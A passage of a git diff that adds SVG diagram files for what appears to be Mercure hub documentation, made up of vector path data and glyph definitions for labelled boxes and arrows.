+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 2.3 17 C 2.134375 17 2 17.134375 2 17.3 L 2 18.7 C 2 18.865625 2.134375 19 2.3 19 L 8.7 19 C 8.865625 19 9 18.865625 9 18.7 L 9 17.3 C 9 17.134375 8.865625 17 8.7 17 Z M 2.3 17 " transform="matrix(20,0,0,20,-28,-150)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="57.839844" y="218.00217"/>
+  <use xlink:href="#glyph0-2" x="67.284288" y="218.00217"/>
+  <use xlink:href="#glyph0-3" x="72.00651" y="218.00217"/>
+  <use xlink:href="#glyph0-4" x="76.450955" y="218.00217"/>
+  <use xlink:href="#glyph0-5" x="84.784288" y="218.00217"/>
+  <use xlink:href="#glyph0-6" x="93.673177" y="218.00217"/>
+  <use xlink:href="#glyph0-7" x="99.228733" y="218.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 8 C 16.134375 8 16 8.134375 16 8.3 L 16 13.7 C 16 13.865625 16.134375 14 16.3 14 L 26.7 14 C 26.865625 14 27 13.865625 27 13.7 L 27 8.3 C 27 8.134375 26.865625 8 26.7 8 Z M 16.3 8 " transform="matrix(20,0,0,20,-28,-150)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-8" x="371.863281" y="65.302951"/>
+  <use xlink:href="#glyph0-9" x="380.474392" y="65.302951"/>
+  <use xlink:href="#glyph0-10" x="388.25217" y="65.302951"/>
+  <use xlink:href="#glyph0-11" x="401.585503" y="65.302951"/>
+  <use xlink:href="#glyph0-12" x="406.585503" y="65.302951"/>
+  <use xlink:href="#glyph0-5" x="415.474392" y="65.302951"/>
+  <use xlink:href="#glyph0-9" x="424.363281" y="65.302951"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-13" x="362.976563" y="90.701389"/>
+  <use xlink:href="#glyph0-14" x="371.032118" y="90.701389"/>
+  <use xlink:href="#glyph0-14" x="379.921007" y="90.701389"/>
+  <use xlink:href="#glyph0-2" x="388.809896" y="90.701389"/>
+  <use xlink:href="#glyph0-3" x="393.532118" y="90.701389"/>
+  <use xlink:href="#glyph0-15" x="397.976563" y="90.701389"/>
+  <use xlink:href="#glyph0-13" x="405.198785" y="90.701389"/>
+  <use xlink:href="#glyph0-6" x="413.25434" y="90.701389"/>
+  <use xlink:href="#glyph0-3" x="418.809896" y="90.701389"/>
+  <use xlink:href="#glyph0-12" x="423.25434" y="90.701389"/>
+  <use xlink:href="#glyph0-5" x="432.143229" y="90.701389"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.5 17 L 5.5 11 L 15.45 11 " transform="matrix(20,0,0,20,-28,-150)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 11.25 L 15.95 11 L 15.45 10.75 Z M 15.45 11.25 " transform="matrix(20,0,0,20,-28,-150)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-16" x="82" y="60.00217"/>
+  <use xlink:href="#glyph0-17" x="92" y="60.00217"/>
+  <use xlink:href="#glyph0-18" x="100.611111" y="60.00217"/>
+  <use xlink:href="#glyph0-19" x="108.944444" y="60.00217"/>
+  <use xlink:href="#glyph0-20" x="113.388889" y="60.00217"/>
+  <use xlink:href="#glyph0-21" x="119.5" y="60.00217"/>
+  <use xlink:href="#glyph0-12" x="128.388889" y="60.00217"/>
+  <use xlink:href="#glyph0-12" x="137.277778" y="60.00217"/>
+  <use xlink:href="#glyph0-22" x="146.166667" y="60.00217"/>
+  <use xlink:href="#glyph0-7" x="153.944444" y="60.00217"/>
+  <use xlink:href="#glyph0-20" x="160.888889" y="60.00217"/>
+  <use xlink:href="#glyph0-23" x="167" y="60.00217"/>
+  <use xlink:href="#glyph0-24" x="176.166667" y="60.00217"/>
+  <use xlink:href="#glyph0-25" x="179.777778" y="60.00217"/>
+  <use xlink:href="#glyph0-7" x="184.222222" y="60.00217"/>
+  <use xlink:href="#glyph0-12" x="191.166667" y="60.00217"/>
+  <use xlink:href="#glyph0-5" x="200.055556" y="60.00217"/>
+  <use xlink:href="#glyph0-2" x="208.944444" y="60.00217"/>
+  <use xlink:href="#glyph0-26" x="213.666667" y="60.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.5 14 L 21.5 18 L 9.55 18 " transform="matrix(20,0,0,20,-28,-150)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 9.55 17.75 L 9.05 18 L 9.55 18.25 Z M 9.55 17.75 " transform="matrix(20,0,0,20,-28,-150)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-27" x="192" y="230.701389"/>
+  <use xlink:href="#glyph0-3" x="200.333333" y="230.701389"/>
+  <use xlink:href="#glyph0-5" x="204.777778" y="230.701389"/>
+  <use xlink:href="#glyph0-22" x="213.666667" y="230.701389"/>
+  <use xlink:href="#glyph0-28" x="221.444444" y="230.701389"/>
+  <use xlink:href="#glyph0-19" x="225.611111" y="230.701389"/>
+  <use xlink:href="#glyph0-29" x="230.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-30" x="238.388889" y="230.701389"/>
+  <use xlink:href="#glyph0-6" x="247.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-6" x="252.833333" y="230.701389"/>
+  <use xlink:href="#glyph0-14" x="258.388889" y="230.701389"/>
+  <use xlink:href="#glyph0-7" x="267.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-28" x="274.222222" y="230.701389"/>
+  <use xlink:href="#glyph0-20" x="278.944444" y="230.701389"/>
+  <use xlink:href="#glyph0-20" x="285.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-26" x="291.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="300.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-10" x="308.388889" y="230.701389"/>
+  <use xlink:href="#glyph0-12" x="321.722222" y="230.701389"/>
+  <use xlink:href="#glyph0-24" x="330.333333" y="230.701389"/>
+  <use xlink:href="#glyph0-10" x="333.944444" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="347.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="355.611111" y="230.701389"/>
+  <use xlink:href="#glyph0-15" x="361.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-32" x="368.388889" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="377.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="382.833333" y="230.701389"/>
+  <use xlink:href="#glyph0-24" x="391.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="394.777778" y="230.701389"/>
+  <use xlink:href="#glyph0-12" x="400.333333" y="230.701389"/>
+  <use xlink:href="#glyph0-15" x="409.222222" y="230.701389"/>
+  <use xlink:href="#glyph0-22" x="416.444444" y="230.701389"/>
+  <use xlink:href="#glyph0-7" x="424.222222" y="230.701389"/>
+  <use xlink:href="#glyph0-20" x="431.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-30" x="437.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-32" x="446.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-21" x="455.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-33" x="463.944444" y="230.701389"/>
+  <use xlink:href="#glyph0-34" x="472.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-19" x="476.722222" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="481.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="486.722222" y="230.701389"/>
+  <use xlink:href="#glyph0-2" x="495.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-35" x="499.777778" y="230.701389"/>
+  <use xlink:href="#glyph0-36" x="508.111111" y="230.701389"/>
+  <use xlink:href="#glyph0-10" x="512.833333" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="526.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="534.5" y="230.701389"/>
+  <use xlink:href="#glyph0-15" x="540.055556" y="230.701389"/>
+  <use xlink:href="#glyph0-32" x="547.277778" y="230.701389"/>
+  <use xlink:href="#glyph0-31" x="556.166667" y="230.701389"/>
+  <use xlink:href="#glyph0-4" x="561.722222" y="230.701389"/>
+  <use xlink:href="#glyph0-36" x="569.777778" y="230.701389"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-37" x="192" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="197.833333" y="256.103733"/>
+  <use xlink:href="#glyph0-38" x="203.666667" y="256.103733"/>
+  <use xlink:href="#glyph0-3" x="221.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-26" x="225.611111" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="234.5" y="256.103733"/>
+  <use xlink:href="#glyph0-28" x="240.333333" y="256.103733"/>
+  <use xlink:href="#glyph0-19" x="244.5" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="247.555556" y="256.103733"/>
+  <use xlink:href="#glyph0-20" x="253.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-21" x="259.5" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="268.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="277.277778" y="256.103733"/>
+  <use xlink:href="#glyph0-22" x="286.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-7" x="293.944444" y="256.103733"/>
+  <use xlink:href="#glyph0-20" x="300.888889" y="256.103733"/>
+  <use xlink:href="#glyph0-23" x="307" y="256.103733"/>
+  <use xlink:href="#glyph0-24" x="316.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-25" x="319.777778" y="256.103733"/>
+  <use xlink:href="#glyph0-7" x="324.222222" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="331.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-5" x="340.055556" y="256.103733"/>
+  <use xlink:href="#glyph0-2" x="348.944444" y="256.103733"/>
+  <use xlink:href="#glyph0-26" x="353.666667" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="362.555556" y="256.103733"/>
+  <use xlink:href="#glyph0-39" x="366.444444" y="256.103733"/>
+  <use xlink:href="#glyph0-19" x="368.944444" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="372" y="256.103733"/>
+  <use xlink:href="#glyph0-6" x="377.833333" y="256.103733"/>
+  <use xlink:href="#glyph0-3" x="383.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-6" x="387.833333" y="256.103733"/>
+  <use xlink:href="#glyph0-2" x="393.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-4" x="398.111111" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="406.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-28" x="412" y="256.103733"/>
+  <use xlink:href="#glyph0-19" x="416.166667" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="419.222222" y="256.103733"/>
+  <use xlink:href="#glyph0-40" x="425.055556" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="433.388889" y="256.103733"/>
+  <use xlink:href="#glyph0-12" x="442.277778" y="256.103733"/>
+  <use xlink:href="#glyph0-36" x="450.055556" y="256.103733"/>
+  <use xlink:href="#glyph0-41" x="455.888889" y="256.103733"/>
+</g>
+</g>
+</svg>
diff --git a/_images/mercure/hub.svg b/_images/mercure/hub.svg
new file mode 100644
index 00000000000..6b5e496e3c6
--- /dev/null
+++ b/_images/mercure/hub.svg
@@ -0,0 +1,196 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="584pt" height="204pt" viewBox="0 0 584 204" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 